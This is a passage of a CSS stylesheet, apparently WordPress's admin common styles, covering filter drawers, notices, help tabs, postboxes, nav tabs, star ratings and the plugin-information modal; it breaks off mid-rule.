.no-js .wp-filter .search-form.search-plugins .button {
	display: inline-block;
	margin-top: 10px;
	vertical-align: top;
}

.wp-filter .button.drawer-toggle {
	margin: 10px 9px 0;
	padding: 0 10px 0 6px;
	border-color: transparent;
	background-color: transparent;
	color: #646970;
	vertical-align: baseline;
	box-shadow: none;
}

.wp-filter .drawer-toggle:before {
	content: "\f111";
	margin: 0 5px 0 0;
	color: #646970;
	font: normal 16px/1 dashicons;
	vertical-align: text-bottom;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.wp-filter .button.drawer-toggle:hover,
.wp-filter .drawer-toggle:hover:before,
.wp-filter .button.drawer-toggle:focus,
.wp-filter .drawer-toggle:focus:before {
	background-color: transparent;
	color: #135e96;
}

.wp-filter .button.drawer-toggle:hover,
.wp-filter .button.drawer-toggle:focus:active {
	border-color: transparent;
}

.wp-filter .button.drawer-toggle:focus {
	border-color: #4f94d4;
}

.wp-filter .button.drawer-toggle:active {
	background: transparent;
	box-shadow: none;
	transform: none;
}

.wp-filter .drawer-toggle.current:before {
	color: #fff;
}

.filter-drawer,
.wp-filter .favorites-form {
	display: none;
	margin: 0 -10px 0 -20px;
	padding: 20px;
	border-top: 1px solid #f0f0f1;
	background: #f6f7f7;
	overflow: hidden;
}

.show-filters .filter-drawer,
.show-favorites-form .favorites-form {
	display: block;
}

.show-filters .filter-links a.current {
	border-bottom: none;
}

.show-filters .wp-filter .button.drawer-toggle {
	border-radius: 2px;
	background: #646970;
	color: #fff;
}

.show-filters .wp-filter .drawer-toggle:hover,
.show-filters .wp-filter .drawer-toggle:focus {
	background: #2271b1;
}

.show-filters .wp-filter .drawer-toggle:before {
	color: #fff;
}

.filter-group {
	box-sizing: border-box;
	position: relative;
	float: left;
	margin: 0 1% 0 0;
	padding: 20px 10px 10px;
	width: 24%;
	background: #fff;
	border: 1px solid #dcdcde;
	box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
}

.filter-group legend {
	position: absolute;
	top: 10px;
	display: block;
	margin: 0;
	padding: 0;
	font-size: 1em;
	font-weight: 600;
}

.filter-drawer .filter-group-feature {
	margin: 28px 0 0;
	list-style-type: none;
	font-size: 12px;
}

.filter-drawer .filter-group-feature input,
.filter-drawer .filter-group-feature label {
	line-height: 1.4;
}

.filter-drawer .filter-group-feature input {
	position: absolute;
	margin: 0;
}

.filter-group .filter-group-feature label {
	display: block;
	margin: 14px 0 14px 23px;
}

.filter-drawer .buttons {
	clear: both;
	margin-bottom: 20px;
}

.filter-drawer .filter-group + .buttons {
	margin-bottom: 0;
	padding-top: 20px;
}

.filter-drawer .buttons .button span {
	display: inline-block;
	opacity: 0.8;
	font-size: 12px;
	text-indent: 10px;
}

.wp-filter .button.clear-filters {
	display: none;
	margin-left: 10px;
}

.wp-filter .button-link.edit-filters {
	padding: 0 5px;
	line-height: 2.2;
}

.filtered-by {
	display: none;
	margin: 0;
}

.filtered-by > span {
	font-weight: 600;
}

.filtered-by a {
	margin-left: 10px;
}

.filtered-by .tags {
	display: inline;
}

.filtered-by .tag {
	margin: 0 5px;
	padding: 4px 8px;
	border: 1px solid #dcdcde;
	box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
	background: #fff;
	font-size: 11px;
}

.filters-applied .filter-group,
.filters-applied .filter-drawer .buttons,
.filters-applied .filter-drawer br {
	display: none;
}

.filters-applied .filtered-by {
	display: block;
}

.filters-applied .filter-drawer {
	padding: 20px;
}

.show-filters .favorites-form,
.show-filters .content-filterable,
.show-filters.filters-applied.loading-content .content-filterable,
.loading-content .content-filterable,
.error .content-filterable {
	display: none;
}

.show-filters.filters-applied .content-filterable {
	display: block;
}

.loading-content .spinner {
	display: block;
	margin: 40px auto 0;
	float: none;
}

@media only screen and (max-width: 1120px) {
	.filter-drawer {
		border-bottom: 1px solid #f0f0f1;
	}

	.filter-group {
		margin-bottom: 0;
		margin-top: 5px;
		width: 100%;
	}

	.filter-group li {
		margin: 10px 0;
	}
}

@media only screen and (max-width: 1000px) {
	.filter-items {
		float: none;
	}

	.wp-filter .media-toolbar-primary,
	.wp-filter .media-toolbar-secondary,
	.wp-filter .search-form {
		float: none; /* Remove float from media-views.css */
		position: relative;
		max-width: 100%;
	}
}

@media only screen and (max-width: 782px) {
	.filter-group li {
		padding: 0;
		width: 50%;
	}
}

@media only screen and (max-width: 320px) {
	.filter-count {
		display: none;
	}

	.wp-filter .drawer-toggle {
		margin: 10px 0;
	}

	.filter-group li,
	.wp-filter .search-form input[type="search"] {
		width: 100%;
	}
}

/*------------------------------------------------------------------------------
  4.0 - Notifications
------------------------------------------------------------------------------*/

.notice,
div.updated,
div.error {
	background: #fff;
	border: 1px solid #c3c4c7;
	border-left-width: 4px;
	box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
	margin: 5px 15px 2px;
	padding: 1px 12px;
}

div[class="update-message"] { /* back-compat for pre-4.6 */
	padding: 0.5em 12px 0.5em 0;
}

.notice p,
.notice-title,
div.updated p,
div.error p,
.form-table td .notice p {
	margin: 0.5em 0;
	padding: 2px;
}

.error a {
	text-decoration: underline;
}

.updated a {
	padding-bottom: 2px;
}

.notice-alt {
	box-shadow: none;
}

.notice-large {
	padding: 10px 20px;
}

.notice-title {
	display: inline-block;
	color: #1d2327;
	font-size: 18px;
}

.wp-core-ui .notice.is-dismissible {
	padding-right: 38px;
	position: relative;
}

.notice-dismiss {
	position: absolute;
	top: 0;
	right: 1px;
	border: none;
	margin: 0;
	padding: 9px;
	background: none;
	color: #787c82;
	cursor: pointer;
}

.notice-dismiss:hover:before,
.notice-dismiss:active:before,
.notice-dismiss:focus:before {
	color: #d63638;
}

.notice-dismiss:focus {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.notice-success,
div.updated {
	border-left-color: #00a32a;
}

.notice-success.notice-alt {
	background-color: #edfaef;
}

.notice-warning {
	border-left-color: #dba617;
}

.notice-warning.notice-alt {
	background-color: #fcf9e8;
}

.notice-error,
div.error {
	border-left-color: #d63638;
}

.notice-error.notice-alt {
	background-color: #fcf0f1;
}

.notice-info {
	border-left-color: #72aee6;
}

.notice-info.notice-alt {
	background-color: #f0f6fc;
}

#plugin-information-footer .update-now:not(.button-disabled):before {
	color: #d63638;
	content: "\f463";
	display: inline-block;
	font: normal 20px/1 dashicons;
	margin: -3px 5px 0 -2px;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	vertical-align: middle;
}

#plugin-information-footer .notice {
    margin-top: -5px;
}

.update-message p:before,
.updating-message p:before,
.updated-message p:before,
.import-php .updating-message:before,
.button.updating-message:before,
.button.updated-message:before,
.button.installed:before,
.button.installing:before,
.button.activating-message:before,
.button.activated-message:before {
	display: inline-block;
	font: normal 20px/1 'dashicons';
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	vertical-align: top;
}

.wrap .notice,
.wrap div.updated,
.wrap div.error,
.media-upload-form .notice,
.media-upload-form div.error {
	margin: 5px 0 15px;
}

.wrap #templateside .notice {
	display: block;
	margin: 0;
	padding: 5px 8px;
	font-weight: 600;
	text-decoration: none;
}

.wrap #templateside span.notice {
	margin-left: -12px;
}

#templateside li.notice a {
	padding: 0;
}

/* Update icon. */
.update-message p:before,
.updating-message p:before,
.import-php .updating-message:before,
.button.updating-message:before,
.button.installing:before,
.button.activating-message:before {
	color: #d63638;
	content: "\f463";
}

/* Spins the update icon. */
.updating-message p:before,
.import-php .updating-message:before,
.button.updating-message:before,
.button.installing:before,
.button.activating-message:before,
.plugins .column-auto-updates .dashicons-update.spin,
.theme-overlay .theme-autoupdate .dashicons-update.spin {
	animation: rotation 2s infinite linear;
}

@media (prefers-reduced-motion: reduce) {
	.updating-message p:before,
	.import-php .updating-message:before,
	.button.updating-message:before,
	.button.installing:before,
	.button.activating-message:before,
	.plugins .column-auto-updates .dashicons-update.spin,
	.theme-overlay .theme-autoupdate .dashicons-update.spin {
		animation: none;
	}
}

.theme-overlay .theme-autoupdate .dashicons-update.spin {
	margin-right: 3px;
}

/* Updated icon (check mark). */
.updated-message p:before,
.installed p:before,
.button.updated-message:before,
.button.activated-message:before {
	color: #68de7c;
	content: "\f147";
}

/* Error icon. */
.update-message.notice-error p:before {
	color: #d63638;
	content: "\f534";
}

.wrap .notice p:before,
.import-php .updating-message:before {
	margin-right: 6px;
}

.import-php .updating-message:before {
	vertical-align: bottom;
}

#update-nag,
.update-nag {
	display: inline-block;
	line-height: 1.4;
	padding: 11px 15px;
	font-size: 14px;
	margin: 25px 20px 0 2px;
}

ul#dismissed-updates {
	display: none;
}

#dismissed-updates li > p {
	margin-top: 0;
}

#dismiss,
#undismiss {
	margin-left: 0.5em;
}

form.upgrade {
	margin-top: 8px;
}

form.upgrade .hint {
	font-style: italic;
	font-size: 85%;
	margin: -0.5em 0 2em;
}

.update-php .spinner {
	float: none;
	margin: -4px 0;
}

h2.wp-current-version {
	margin-bottom: .3em;
}

p.update-last-checked {
	margin-top: 0;
}

p.auto-update-status {
	margin-top: 2em;
	line-height: 1.8;
}

#ajax-loading,
.ajax-loading,
.ajax-feedback,
.imgedit-wait-spin,
.list-ajax-loading { /* deprecated */
	visibility: hidden;
}

#ajax-response.alignleft {
	margin-left: 2em;
}

.button.updating-message:before,
.button.updated-message:before,
.button.installed:before,
.button.installing:before,
.button.activated-message:before,
.button.activating-message:before {
	margin: 3px 5px 0 -2px;
}

#plugin-information-footer .button {
	padding: 0 14px;
	line-height: 2.71428571; /* 38px */
	font-size: 14px;
	vertical-align: middle;
	min-height: 40px;
	margin-bottom: 4px;
}

#plugin-information-footer .button.installed:before,
#plugin-information-footer .button.installing:before,
#plugin-information-footer .button.updating-message:before,
#plugin-information-footer .button.updated-message:before,
#plugin-information-footer .button.activated-message:before,
#plugin-information-footer .button.activating-message:before {
	margin: 9px 5px 0 -2px;
}

#plugin-information-footer .button.update-now.updating-message:before {
	margin: -3px 5px 0 -2px;
}

.button-primary.updating-message:before,
.button-primary.activating-message:before {
	color: #fff;
}

.button-primary.updated-message:before,
.button-primary.activated-message:before {
	color: #9ec2e6;
}

.button.updated-message,
.button.activated-message {
	transition-property: border, background, color;
	transition-duration: .05s;
	transition-timing-function: ease-in-out;
}

@media aural {
	.wrap .notice p:before,
	.button.installing:before,
	.button.installed:before,
	.update-message p:before {
		speak: never;
	}
}


/* @todo: this does not need its own section anymore */
/*------------------------------------------------------------------------------
  6.0 - Admin Header
------------------------------------------------------------------------------*/
#adminmenu a,
#taglist a,
#catlist a {
	text-decoration: none;
}

/*------------------------------------------------------------------------------
  6.1 - Screen Options Tabs
------------------------------------------------------------------------------*/

#screen-options-wrap,
#contextual-help-wrap {
	margin: 0;
	padding: 8px 20px 12px;
	position: relative;
}

#contextual-help-wrap {
	overflow: auto;
	margin-left: 0;
}

#screen-meta-links {
	float: right;
	margin: 0 20px 0 0;
}

/* screen options and help tabs revert */
#screen-meta {
	display: none;
	margin: 0 20px -1px 0;
	position: relative;
	background-color: #fff;
	border: 1px solid #c3c4c7;
	border-top: none;
	box-shadow: 0 0 0 transparent;
}

#screen-options-link-wrap,
#contextual-help-link-wrap {
	float: left;
	margin: 0 0 0 6px;
}

#screen-meta-links .screen-meta-toggle {
	position: relative;
	top: 0;
}

#screen-meta-links .show-settings {
	border: 1px solid #c3c4c7;
	border-top: none;
	height: auto;
	margin-bottom: 0;
	padding: 3px 6px 3px 16px;
	background: #fff;
	border-radius: 0 0 4px 4px;
	color: #646970;
	line-height: 1.7;
	box-shadow: 0 0 0 transparent;
	transition: box-shadow 0.1s linear;
}

#screen-meta-links .show-settings:hover,
#screen-meta-links .show-settings:active,
#screen-meta-links .show-settings:focus {
	color: #2c3338;
}

#screen-meta-links .show-settings:focus {
	border-color: #2271b1;
	box-shadow: 0 0 0 1px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

#screen-meta-links .show-settings:active {
	transform: none;
}

#screen-meta-links .show-settings:after {
	right: 0;
	content: "\f140";
	font: normal 20px/1 dashicons;
	speak: never;
	display: inline-block;
	padding: 0 5px 0 0;
	bottom: 2px;
	position: relative;
	vertical-align: bottom;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	text-decoration: none;
}

#screen-meta-links .screen-meta-active:after {
	content: "\f142";
}

/* end screen options and help tabs */

.toggle-arrow {
	background-repeat: no-repeat;
	background-position: top left;
	background-color: transparent;
	height: 22px;
	line-height: 22px;
	display: block;
}

.toggle-arrow-active {
	background-position: bottom left;
}

#screen-options-wrap h5, /* Back-compat for old plugins */
#screen-options-wrap legend,
#contextual-help-wrap h5 {
	margin: 0;
	padding: 8px 0;
	font-size: 13px;
	font-weight: 600;
}

.metabox-prefs label {
	display: inline-block;
	padding-right: 15px;
	line-height: 2.35;
}

#number-of-columns {
	display: inline-block;
	vertical-align: middle;
	line-height: 30px;
}

.metabox-prefs input[type=checkbox] {
	margin-top: 0;
	margin-right: 6px;
}

.metabox-prefs label input,
.metabox-prefs label input[type=checkbox] {
	margin: -4px 5px 0 0;
}

.metabox-prefs .columns-prefs label input {
	margin: -1px 2px 0 0;
}

.metabox-prefs label a {
	display: none;
}

.metabox-prefs .screen-options input,
.metabox-prefs .screen-options label {
	margin-top: 0;
	margin-bottom: 0;
	vertical-align: middle;
}

.metabox-prefs .screen-options .screen-per-page {
	margin-right: 15px;
	padding-right: 0;
}

.metabox-prefs .screen-options label {
	line-height: 2.2;
	padding-right: 0;
}

.screen-options + .screen-options {
	margin-top: 10px;
}

.metabox-prefs .submit {
	margin-top: 1em;
	padding: 0;
}

/*------------------------------------------------------------------------------
  6.2 - Help Menu
------------------------------------------------------------------------------*/

#contextual-help-wrap {
	padding: 0;
}

#contextual-help-columns {
	position: relative;
}

#contextual-help-back {
	position: absolute;
	top: 0;
	bottom: 0;
	left: 150px;
	right: 170px;
	border: 1px solid #c3c4c7;
	border-top: none;
	border-bottom: none;
	background: #f0f6fc;
}

#contextual-help-wrap.no-sidebar #contextual-help-back {
	right: 0;
	border-right-width: 0;
	border-bottom-right-radius: 2px;
}

.contextual-help-tabs {
	float: left;
	width: 150px;
	margin: 0;
}

.contextual-help-tabs ul {
	margin: 1em 0;
}

.contextual-help-tabs li {
	margin-bottom: 0;
	list-style-type: none;
	border-style: solid;
	border-width: 0 0 0 2px;
	border-color: transparent;
}

.contextual-help-tabs a {
	display: block;
	padding: 5px 5px 5px 12px;
	line-height: 1.4;
	text-decoration: none;
	border: 1px solid transparent;
	border-right: none;
	border-left: none;
}

.contextual-help-tabs a:hover {
	color: #2c3338;
}

.contextual-help-tabs .active {
	padding: 0;
	margin: 0 -1px 0 0;
	border-left: 2px solid #72aee6;
	background: #f0f6fc;
	box-shadow: 0 2px 0 rgba(0, 0, 0, 0.02), 0 1px 0 rgba(0, 0, 0, 0.02);
}

.contextual-help-tabs .active a {
	border-color: #c3c4c7;
	color: #2c3338;
}

.contextual-help-tabs-wrap {
	padding: 0 20px;
	overflow: auto;
}

.help-tab-content {
	display: none;
	margin: 0 22px 12px 0;
	line-height: 1.6;
}

.help-tab-content.active {
	display: block;
}

.help-tab-content ul li {
	list-style-type: disc;
	margin-left: 18px;
}

.contextual-help-sidebar {
	width: 150px;
	float: right;
	padding: 0 8px 0 12px;
	overflow: auto;
}

/*------------------------------------------------------------------------------
  8.0 - Layout Blocks
------------------------------------------------------------------------------*/

html.wp-toolbar {
	padding-top: 32px;
	box-sizing: border-box;
	-ms-overflow-style: scrollbar; /* See ticket #48545 */
}

.widefat th,
.widefat td {
	color: #50575e;
}

.widefat th,
.widefat thead td,
.widefat tfoot td {
	font-weight: 400;
}

.widefat thead tr th,
.widefat thead tr td,
.widefat tfoot tr th,
.widefat tfoot tr td {
	color: #2c3338;
}

.widefat td p {
	margin: 2px 0 0.8em;
}

.widefat p,
.widefat ol,
.widefat ul {
	color: #2c3338;
}

.widefat .column-comment p {
	margin: 0.6em 0;
}

.widefat .column-comment ul {
	list-style: initial;
	margin-left: 2em;
}

/* Screens with postboxes */
.postbox-container {
	float: left;
}

.postbox-container .meta-box-sortables {
	box-sizing: border-box;
}

#wpbody-content .metabox-holder {
	padding-top: 10px;
}

.metabox-holder .postbox-container .meta-box-sortables {
	/* The jQuery UI Sortables need some initial height to work properly. */
	min-height: 1px;
	position: relative;
}

#post-body-content {
	width: 100%;
	min-width: 463px;
	float: left;
}

#post-body.columns-2 #postbox-container-1 {
	float: right;
	margin-right: -300px;
	width: 280px;
}

#post-body.columns-2 #side-sortables {
	min-height: 250px;
}

/* one column on the dash */
@media only screen and (max-width: 799px) {
	#wpbody-content .metabox-holder .postbox-container .empty-container {
		outline: none;
		height: 0;
		min-height: 0;
	}
}

.js .widget .widget-top,
.js .postbox .hndle {
	cursor: move;
}

.js .widget .widget-top.is-non-sortable,
.js .postbox .hndle.is-non-sortable {
	cursor: auto;
}

/* Configurable dashboard widgets "Configure" edit-box link. */
.hndle a {
	font-size: 12px;
	font-weight: 400;
}

.postbox-header {
	display: flex;
	align-items: center;
	justify-content: space-between;
	border-bottom: 1px solid #c3c4c7;
}

.postbox-header .hndle {
	flex-grow: 1;
	/* Handle the alignment for the configurable dashboard widgets "Configure" edit-box link. */
	display: flex;
	justify-content: space-between;
	align-items: center;
}

.postbox-header .handle-actions {
	flex-shrink: 0;
}

/* Post box order and toggle buttons. */
.postbox .handle-order-higher,
.postbox .handle-order-lower,
.postbox .handlediv {
	width: 1.62rem;
	height: 1.62rem;
	margin: 0;
	padding: 0;
	border: 0;
	background: none;
	cursor: pointer;
}

.postbox .handle-order-higher,
.postbox .handle-order-lower {
	color: #787c82;
	width: 1.62rem;
}

/* Post box order buttons in the block editor meta boxes area. */
.edit-post-meta-boxes-area .postbox .handle-order-higher,
.edit-post-meta-boxes-area .postbox .handle-order-lower {
	width: 44px;
	height: 44px;
	color: #1d2327
}

.postbox .handle-order-higher[aria-disabled="true"],
.postbox .handle-order-lower[aria-disabled="true"] {
	cursor: default;
	color: #a7aaad;
}

.sortable-placeholder {
	border: 1px dashed #c3c4c7;
	margin-bottom: 20px;
}

.postbox,
.stuffbox {
	margin-bottom: 20px;
	padding: 0;
	line-height: 1;
}

.postbox.closed {
	border-bottom: 0;
}

/* user-select is not a part of the CSS standard - may change behavior in the future */
.postbox .hndle,
.stuffbox .hndle {
	-webkit-user-select: none;
	user-select: none;
}

.postbox .inside {
	padding: 0 12px 12px;
	line-height: 1.4;
	font-size: 13px;
}

.stuffbox .inside {
	padding: 0;
	line-height: 1.4;
	font-size: 13px;
	margin-top: 0;
}

.postbox .inside {
	margin: 11px 0;
	position: relative;
}

.postbox .inside > p:last-child,
.rss-widget ul li:last-child {
	margin-bottom: 1px !important;
}

.postbox.closed h3 {
	border: none;
	box-shadow: none;
}

.postbox table.form-table {
	margin-bottom: 0;
}

.postbox table.widefat {
	box-shadow: none;
}

.temp-border {
	border: 1px dotted #c3c4c7;
}

.columns-prefs label {
	padding: 0 10px 0 0;
}

/* @todo: what is this doing here */
#dashboard_right_now .versions .b,
#post-status-display,
#post-visibility-display,
#adminmenu .wp-submenu li.current,
#adminmenu .wp-submenu li.current a,
#adminmenu .wp-submenu li.current a:hover,
.media-item .percent,
.plugins .name,
#pass-strength-result.strong,
#pass-strength-result.short,
#ed_reply_toolbar #ed_reply_strong,
.item-controls .item-order a,
.feature-filter .feature-name,
#comment-status-display {
	font-weight: 600;
}

/*------------------------------------------------------------------------------
  21.0 - Admin Footer
------------------------------------------------------------------------------*/

#wpfooter {
	position: absolute;
	bottom: 0;
	left: 0;
	right: 0;
	padding: 10px 20px;
	color: #50575e;
}

#wpfooter p {
	font-size: 13px;
	margin: 0;
	line-height: 1.55;
}

#footer-thankyou {
	font-style: italic;
}

/*------------------------------------------------------------------------------
  25.0 - Tabbed Admin Screen Interface (Experimental)
------------------------------------------------------------------------------*/

.nav-tab {
	float: left;
	border: 1px solid #c3c4c7;
	border-bottom: none;
	margin-left: 0.5em; /* half the font size so set the font size properly */
	padding: 5px 10px;
	font-size: 14px;
	line-height: 1.71428571;
	font-weight: 600;
	background: #dcdcde;
	color: #50575e;
	text-decoration: none;
	white-space: nowrap;
}

h3 .nav-tab, /* Back-compat for pre-4.4 */
.nav-tab-small .nav-tab {
	padding: 5px 14px;
	font-size: 12px;
	line-height: 1.33;
}

.nav-tab:hover,
.nav-tab:focus {
	background-color: #fff;
	color: #3c434a;
}

.nav-tab-active,
.nav-tab:focus:active {
	box-shadow: none;
}

.nav-tab-active {
	margin-bottom: -1px;
	color: #3c434a;
}

.nav-tab-active,
.nav-tab-active:hover,
.nav-tab-active:focus,
.nav-tab-active:focus:active {
	border-bottom: 1px solid #f0f0f1;
	background: #f0f0f1;
	color: #000;
}

h1.nav-tab-wrapper, /* Back-compat for pre-4.4 */
.wrap h2.nav-tab-wrapper, /* higher specificity to override .wrap > h2:first-child */
.nav-tab-wrapper {
	border-bottom: 1px solid #c3c4c7;
	margin: 0;
	padding-top: 9px;
	padding-bottom: 0;
	line-height: inherit;
}

/* Back-compat for plugins. Deprecated. Use .wp-clearfix instead. */
.nav-tab-wrapper:not(.wp-clearfix):after {
	content: "";
	display: table;
	clear: both;
}

/*------------------------------------------------------------------------------
  26.0 - Misc
------------------------------------------------------------------------------*/

.spinner {
	background: url(../images/spinner.gif) no-repeat;
	background-size: 20px 20px;
	display: inline-block;
	visibility: hidden;
	float: right;
	vertical-align: middle;
	opacity: 0.7;
	filter: alpha(opacity=70);
	width: 20px;
	height: 20px;
	margin: 4px 10px 0;
}

.spinner.is-active,
.loading-content .spinner {
	visibility: visible;
}

#template > div {
	margin-right: 16em;
}
#template .notice {
	margin-top: 1em;
	margin-right: 3%;
}
#template .notice p {
	width: auto;
}
#template .submit .spinner {
	float: none;
}

.metabox-holder .stuffbox > h3, /* Back-compat for pre-4.4 */
.metabox-holder .postbox > h3, /* Back-compat for pre-4.4 */
.metabox-holder h3.hndle, /* Back-compat for pre-4.4 */
.metabox-holder h2.hndle {
	font-size: 14px;
	padding: 8px 12px;
	margin: 0;
	line-height: 1.4;
}

/* Back-compat for nav-menus screen */
.nav-menus-php .metabox-holder h3 {
	padding: 10px 10px 11px 14px;
	line-height: 1.5;
}

#templateside ul li a {
	text-decoration: none;
}

.plugin-install #description,
.plugin-install-network #description {
	width: 60%;
}

table .vers,
table .column-visible,
table .column-rating {
	text-align: left;
}

.attention,
.error-message {
	color: #d63638;
	font-weight: 600;
}

/* Scrollbar fix for bulk upgrade iframe */
body.iframe {
	height: 98%;
}

/* Upgrader styles, Specific to Language Packs */
.lp-show-latest p {
	display: none;
}
.lp-show-latest p:last-child,
.lp-show-latest .lp-error p {
	display: block;
}

/* - Only used once or twice in all of WP - deprecate for global style
------------------------------------------------------------------------------*/
.media-icon {
	width: 62px; /* icon + border */
	text-align: center;
}

.media-icon img {
	border: 1px solid #dcdcde;
	border: 1px solid rgba(0, 0, 0, 0.07);
}

#howto {
	font-size: 11px;
	margin: 0 5px;
	display: block;
}

.importers {
	font-size: 16px;
	width: auto;
}

.importers td {
	padding-right: 14px;
	line-height: 1.4;
}

.importers .import-system {
	max-width: 250px;
}

.importers td.desc {
	max-width: 500px;
}

.importer-title,
.importer-desc,
.importer-action {
	display: block;
}

.importer-title {
	color: #000;
	font-size: 14px;
	font-weight: 400;
	margin-bottom: .2em;
}

.importer-action {
	line-height: 1.55; /* Same as with .updating-message */
	color: #50575e;
	margin-bottom: 1em;
}

#post-body #post-body-content #namediv h3, /* Back-compat for pre-4.4 */
#post-body #post-body-content #namediv h2 {
	margin-top: 0;
}

.edit-comment-author {
	color: #1d2327;
	border-bottom: 1px solid #f0f0f1;
}

#namediv h3 label, /* Back-compat for pre-4.4 */
#namediv h2 label {
	vertical-align: baseline;
}

#namediv table {
	width: 100%;
}

#namediv td.first {
	width: 10px;
	white-space: nowrap;
}

#namediv input {
	width: 100%;
}

#namediv p {
	margin: 10px 0;
}

/* - Used - but could/should be deprecated with a CSS reset
------------------------------------------------------------------------------*/
.zerosize {
	height: 0;
	width: 0;
	margin: 0;
	border: 0;
	padding: 0;
	overflow: hidden;
	position: absolute;
}

br.clear {
	height: 2px;
	line-height: 0.15;
}

.checkbox {
	border: none;
	margin: 0;
	padding: 0;
}

fieldset {
	border: 0;
	padding: 0;
	margin: 0;
}

.post-categories {
	display: inline;
	margin: 0;
	padding: 0;
}

.post-categories li {
	display: inline;
}

/* Star Ratings - Back-compat for pre-3.8 */
div.star-holder {
	position: relative;
	height: 17px;
	width: 100px;
	background: url(../images/stars.png?ver=20121108) repeat-x bottom left;
}

div.star-holder .star-rating {
	background: url(../images/stars.png?ver=20121108) repeat-x top left;
	height: 17px;
	float: left;
}

/* Star Ratings */
.star-rating {
	white-space: nowrap;
}
.star-rating .star {
	display: inline-block;
	width: 20px;
	height: 20px;
	-webkit-font-smoothing: antialiased;
	font-size: 20px;
	line-height: 1;
	font-family: dashicons;
	text-decoration: inherit;
	font-weight: 400;
	font-style: normal;
	vertical-align: top;
	transition: color .1s ease-in;
	text-align: center;
	color: #dba617;
}

.star-rating .star-full:before {
	content: "\f155";
}

.star-rating .star-half:before {
	content: "\f459";
}

.rtl .star-rating .star-half {
	transform: rotateY(180deg);
}

.star-rating .star-empty:before {
	content: "\f154";
}

div.action-links {
	font-weight: 400;
	margin: 6px 0 0;
}

/* Plugin install thickbox */
#plugin-information {
	background: #fff;
	position: fixed;
	top: 0;
	right: 0;
	bottom: 0;
	left: 0;
	height: 100%;
	padding: 0;
}

#plugin-information-scrollable {
	overflow: auto;
	-webkit-overflow-scrolling: touch;
	height: 100%;
}

#plugin-information-title {
	padding: 0 26px;
	background: #f6f7f7;
	font-size: 22px;
	font-weight: 600;
	line-height: 2.4;
	position: relative;
	height: 56px;
}

#plugin-information-title.with-banner {
	margin-right: 0;
	height: 250px;
	background-size: cover;
}

#plugin-information-title h2 {
	font-size: 1em;
	font-weight: 600;
	padding: 0;
	margin: 0;
	overflow: hidden;
	text-overflow: ellipsis;
	white-space: nowrap;
}

#plugin-information-title.with-banner h2 {
	position: relative;
	font-family: "Helvetica Neue", sans-serif;
	display: inline-block;
	font-size: 30px;
	line-height: 1.68;
	box-sizing: border-box;
	max-width: 100%;
	padding: 0 15px;
	margin-top: 174px;
	color: #fff;
	background: rgba(29, 35, 39, 0.9);
	text-shadow: 0 1px 3px rgba(0, 0, 0, 0.4);
	box-shadow: 0 0 30px rgba(255, 255, 255, 0.1);
	border-radius: 8px;
}

#plugin-information-title div.vignette {
	display: none;
}

#plugin-information-title.with-banner div.vignette {
	position: absolute;
	display: block;
	top: 0;
	left: 0;
	height: 250px;
	width: 100%;
	background: transparent;
	box-shadow: inset 0 0 50px 4px rgba(0, 0, 0, 0.2), inset 0 -1px 0 rgba(0, 0, 0, 0.1);
}

#plugin-information-tabs {
	padding: 0 16px;
	position: relative;
	right: 0;
	left: 0;
	min-height: 36px;
	font-size: 0;
	z-index: 1;
	border-bottom: 1px solid #dcdcde;
	background: #f6f7f7;
}

#plugin-information-tabs a {
	position: relative;
	display: inline-block;
	padding: 9px 10px;
	margin: 0;
	height: 18px;
	line-height: 1.3;
	font-size: 14px;
	text-decoration: none;
	transition: none;
}

#plugin-information-tabs a.current {
	margin: 0 -1px -1px;
	background: #fff;
	border: 1px solid #dcdcde;
	border-bottom-color: #fff;
	padding-top: 8px;
	color: #2c3338;
}

#plugin-information-tabs.with-banner a.current {
	border-top: none;
	padding-top: 9px;
}

#plugin-information-tabs a:active,
#plugin-information-tabs a:focus {
	outline: none;
}

#plugin-information-content {
	overflow: hidden; /* equal height column trick */
	background: #fff;
	position: relative;
	top: 0;
	right: 0;
	left: 0;
	min-height: 100%;
	/* Height of title + tabs + install now */
	min-height: calc( 100% - 152px );
}

#plugin-information-content.with-banner {
	/* Height of banner + tabs + install now */
	min-height: calc( 100% - 346px );
}

#section-holder {
	position: relative;
	top: 0;
	right: 250px;
	bottom: 0;
	left: 0;
	margin-top: 10px;
	margin-right: 250px; /* FYI box */
	padding: 10px 26px 99999px; /* equal height column trick */
	margin-bottom: -99932px; /* 67px less than the padding below to accommodate footer height */
}

#section-holder .notice {
	margin: 5px 0 15px;
}

#section-holder .updated {
	margin: 16px 0;
}

#plugin-information .fyi {
	float: right;
	position: relative;
	top: 0;
	right: 0;
	padding: 16px 16px 99999px; /* equal height column trick */
	margin-bottom: -99932px; /* 67px less than the padding below to accommodate footer height */
	width: 217px;
	border-left: 1px solid #dcdcde;
	background: #f6f7f7;
	color: #646970;
}

#plugin-information .fyi strong {
	color: #3c434a;
}

#plugin-information .fyi h3 {
	font-weight: 600;
	text-transform: uppercase;
	font-size: 12px;
	color: #646970;
	margin: 24px 0 8px;
}

#plugin-information .fyi h2 {
	font-size: 0.9em;
	margin-bottom: 0;
	margin-right: 0;
}

#plugin-information .fyi ul {
	padding: 0;
	margin: 0;
	list-style: none;
}

#plugin-information .fyi li {
	margin: 0 0 10px;
}

#plugin-information .fyi-description {
	margin-top: 0;
}

#plugin-information .counter-container {
	margin: 3px 0;
}

#plugin-information .counter-label {
	float: left;
	margin-right: 5px;
	min-width: 55px;
}

#plugin-information .counter-back {
	height: 17px;
	width: 92px;
	background-color: #dcdcde;
	float: left;
}

#plugin-information .counter-bar {
	height: 17px;
	background-color: #f0c33c; /* slightly lighter than stars due to larger expanse */
	float: left;
}

#plugin-information .counter-count {
	margin-left: 5px;
}

#plugin-information .fyi ul.contributors {
	margin-top: 10px;
}

#plugin-information .fyi ul.contributors li {
	display: inline-block;
	margin-right: 8px;
	vertical-align: middle;
}

#plugin-information .fyi ul.contributors li {
	display: inline-block;
	margin-right: 8px;
